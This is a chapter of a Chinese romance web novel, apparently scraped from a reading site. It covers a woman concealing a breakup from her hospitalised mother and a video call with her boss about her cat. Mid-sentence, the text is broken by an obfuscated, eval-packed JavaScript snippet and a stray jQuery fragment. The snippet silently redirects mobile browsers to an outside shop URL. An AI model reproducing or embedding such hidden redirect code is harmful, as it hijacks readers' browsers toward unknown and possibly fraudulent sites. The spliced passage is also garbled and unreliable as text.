“可不是,自己非要搬出去,哪能好好吃饭?”简蓉瞥了唐渐濂一眼。
曾献赫问道:“搬出去了?”
简蓉提到这个话题就有些生气:“对呀!家里不肯养猫她就不肯住了,为了个……”
“那边离公司近。”唐渐濂打断。搬出去并不全是因为小猫,但理由并不是三言两语能解释清的,更不适合摆到台面上说。
简蓉根本不信这个借口,偏头瞪着她,眉毛已经要竖起来了,曾献赫温和道:“通勤时间短确实会轻松一点。渐濂也在国外独居四年,能照顾好自己的,阿姨别太担心。”
简蓉听到他的话,眉头重新放松下来,顺着话头说唐渐濂任性,又夸他脾气好,两个人过日子就是要互相包容着才能过到最后。
简蓉对曾献赫的态度还是一样热络,应该是曾献赫暂时还没有提两个人分手的事情。
这个认知让唐渐濂略松了口气——她暂时没做好跟家里人坦白的准备。且不说唐锐有多重视合作项目,简蓉更是近乎病态地、不计后果地急于推进她的感情进展。
屏幕里的曾献赫面对简蓉的絮叨照旧儒雅体贴,唐渐濂安静了片刻,道:“妈,嗓子怎么样?医生说这两天要少说点话。”
简蓉闻言眼皮往下压了压,不太高兴的样子。
曾献赫则保持着温和的微笑,说:“还是得听医生的,我过两天再过去拜访。”
简蓉听他这么说,没有什么不答应的,再客套了几句就挂了视频。
简蓉收回暗掉的手机,却并没有就此罢休的意思,转头问道:“他不知道你搬出去了?这段时间没去你那边?没见过面?”
她太会抓重点。
唐渐濂才拿了苹果在手上准备削,刀锋切进皮下,拣着最后一句回答:“他跟我们公司的医务室有合作,在市里时间很多,见过不少次。”
简蓉闻言稍微放心了一点,看着她削苹果,安静了几秒又说:“正好这次趁着他来,问问他家里准备什么时候办婚礼,怎么也至少先订婚,你都跟了他多长时间了。”
唐渐濂手上的动作停滞,嘴唇一动,简蓉立刻截断她还未出口的话:“你别再跟我说些有的没的,放下你那没用的傲气,你这个年纪谈恋爱是为了结婚过日子,不是过家家!情情爱爱都是虚的,只有给到你的金钱才是真的。”
唐渐濂听了这话没什么反应。从前简蓉一度跟唐锐闹到要离婚,但实在是吃不了打工的苦,分居了一年才重新回归了家庭。
唐渐濂把最后一点皮削掉,果肉切成小块,说:“知道了,你这会儿少用嗓子。”
果核丢进垃圾桶,手上沾了苹果汁水,干涸发粘。
唐渐濂站起身进洗手间,面无表情地握着水果刀在水龙头底下冲,想着曾献赫那一句“过两天拜访”,应该就像“下次一定”一样,不过一张空头支票。
但是没想到周一他还真的跟着唐锐一起来了医院。
唐锐大概了解了一下手术情况,几个人坐下来,简蓉便开始旁敲侧击问曾献赫:“最近你爸妈忙吗?”
曾献赫握着一次性杯子,没喝。脸上维持着礼貌的笑意:“他们一年到头都那样。”
简蓉“哦”了一声,唐渐濂在她再开口前对曾献赫说:“过了订餐的时间了,我带你下去吃吧。”
再过几分钟就会有人来送餐,简蓉闻言也不好干留着人:“对,你们两个出去找个地方吃点好的。”
唐渐濂看向曾献赫,后者放下纸杯,跟着站起来,打了声招呼出了病房。
电梯厅的数字跳得很慢,每一层都有人停留。
不锈钢电梯门倒映着两个人的身影,唐渐濂看着里面的曾献赫,说:“我会尽快跟他们说明的。”
两家之间的生意并没有重要到令曾献赫畏首畏尾,没有必要让她在长辈眼里一直让占着自己女朋友的位置,现在不戳破最多算是出于人道主义帮忙打掩护。
曾献赫跨出电梯道:“没关系,你什么时候准备好,什么时候跟他们坦白。”
唐渐濂肩膀松了一下,说:“可能要过段时间,她刚做完手术。”
这话有些得寸进尺,说到最后她的声音都矮下来,底气不足。
“不要紧,我不着急。”曾献赫不甚在意。
曾献赫不着急坦白,简蓉却迫切地希望落实他们的婚姻。唐渐濂想到这里叹了口气,心绪烦乱。
“电话不接吗?”曾献赫突然道。
唐渐濂抬头看了他一眼,后知后觉地意识到自己口袋里的手机正传出铃声。
她拿出来,看见是胥臾的视频电话。
胥臾不像是会无缘无故给人拨视频电话的样子,唐渐濂只迟疑了一秒,就按了接听。
那边的镜头在接通的下一秒就被翻转,对着地面。
唐渐濂没把耳机带出来,只能调大声音,贴着手机底部的那一小块手掌感受到扬声器的震颤。
“哈尼吐了,是生病了吗?我只喂了猫粮。”胥臾一向清冷的声音因为语速微微加快而传达出焦急,显得肃重,“哈尼的状态看着还行。”
镜头扫到哈尼,在它身上停留片刻,又推近到地上的呕吐物。
唐渐濂看清地上的东西,安抚道:“你别急,看着是吐的毛球。我忘了跟你说要喂化毛膏了。”
因为是拜托他帮忙照顾小猫,唐渐濂生怕多添麻烦,尽量精简了喂食,连湿粮都没安排,化毛膏根本就没记得带过去。
她略有些抱歉:“我好像没放化毛膏,你能去买一下吗?”
“我这里有。”确定哈尼没有生病,胥臾的声音重新松弛下来。
上次去宠物店的时候他们一起买过化毛膏。
唐渐濂显然也想到这一点,说:“那先用你的,等我回去请你吃饭。”
胥臾顺着话道:“周四回来?”
“不确定,可能会提前销假。”
唐锐现在过来了,但是带着曾献赫一起,唐渐濂不清楚他们后面有没有工作安排,不知道唐锐究竟能不能留下来陪护。
“行,回来了跟我说。”胥臾道。
唐渐濂应了一声,看见手机里哈尼从画面右上角走到画面中央,大概听见了她的声音,有些着急地抓着胥臾的裤腿想往上爬,嘴里“喵喵”叫着。
胥臾蹲身下去,哈尼可以轻易地够到手机摄像头,叫声更加清晰。
那边的画面抖了几下,应该是胥臾抱着哈尼到地毯上坐下来。
随后镜头切换,哈尼在胥臾胸膛前,看见手机里的唐渐濂,嘴里叫得更欢快。
胥臾手上的手机被哈尼顶了几下,差点掉下去。他用另一只手把小猫固定到身前,手指伸展,横跨哈尼的整个胸口,还分出两根手指挠猫下巴,安抚似的。
画面重新稳定
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928640|209850||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下来,胥臾道:“我说了,哈尼很想你。”
他的下巴和嘴唇出现在屏幕上方,唐渐濂甚至能看到他略显无奈地微微提了下唇角。
哈尼更大声地叫了两声,含带一些拖沓的哼吟。
唐渐濂从耳朵一直软到心头,视线下移,哈尼的一只手被胥臾卡在虎口里,伸向前置镜头,此刻爪子空抓,肉垫在白色的毛里伸张。
“哈尼跟你打招呼呢。”胥臾的声音压得有些低,尽数收进听筒里。
唐渐濂笑了一下,柔着嗓音喊:“哈尼——”
挠着小猫下巴的手指停了瞬息,很快重新动作,但是小猫头顶的喉结像是再滚了一下。
唐渐濂还想再隔空跟哈尼说几句话,突然手肘被人攥了一下。
“小心台阶。”曾献赫道。
胥臾撸猫的动作彻底停下来,禁锢哈尼的手指松开,任由哈尼把手机拱得乱晃。
“谁在你身边?”胥臾的声音提到正常的音调,略显得冷淡。
唐渐濂见他发问,下意识想把手机偏一偏,让曾献赫出镜。画面里才出现曾献赫半边肩膀的时候她才想起来在胥臾那边曾献赫应该还算是她的男朋友。
为了避免不必要的误会,唐渐濂及时收了动作,让自己回到画面中央,说:“朋友。”
小猫从胥臾怀里跳出去,把手机带倒,镜头陷进地毯里,一片漆黑。胥臾那边沉寂瞬息,视频通话突兀地中断。
手机回到接通电话前的锁屏界面,很快暗下去。
唐渐濂愣了一下,重新按亮手机,聊天界面干干净净,没有未读消息。
通话结束,曾献才问:“交男朋友了?”
“不是,是帮我养猫的上司。”唐渐濂把手机收进口袋里,“他很喜欢小动物。”
曾献赫点头,没有深究,跟着她进了一家小面馆。
点完餐,唐渐濂问:“你来这边办事吗?”
现在的状态,他但凡出现在简蓉面前,少不得被拐弯抹角地催婚。
曾献赫道:“不是。叔叔提了几次手术的事情,我猜你还没跟他们说,也不太好装聋作哑。”
这是被架过来了。唐渐濂面露异色,说:“给你添麻烦了。”
曾献赫搓一次性筷子的动作慢下来一拍,随后把处理干净竹刺的筷子递过来,说:“不用跟我这么客气。我明天去隔壁交流会,也算是顺路。”
唐渐濂接过筷子,咬了下嘴唇:“你忙你的就好,不用去医院了,我会跟他们解释的。”
曾献赫道:“等会跟阿姨说一声再走。”
唐渐濂闻言没有再说话。面端上来,热气升腾,把一张桌子分隔成两半。
这碗是曾献赫的,唐渐濂往他那边推了推,随后低下头重新把手机拿出来,胥臾聊天框下面记录着通话时长,并没有新的消息发过来。
唐渐濂盯着看了一会儿,打字问:【刚刚怎么突然挂断了?】
那边很久没有回信息,直到面端上来,唐渐濂吃得差不多,手机才震了一下。
【胥臾:才收拾完房间。哈尼撞掉了手机。】
前一句解释回复消息的滞后,后半句陈述挂断视频的原因,面面俱到。只是即使他一向说话风格就是这样言简意赅,唐渐濂却还是莫名觉得他此刻的态度更疏冷一些。
——好像胥臾已经很久没有这么冷淡地跟她说过话了。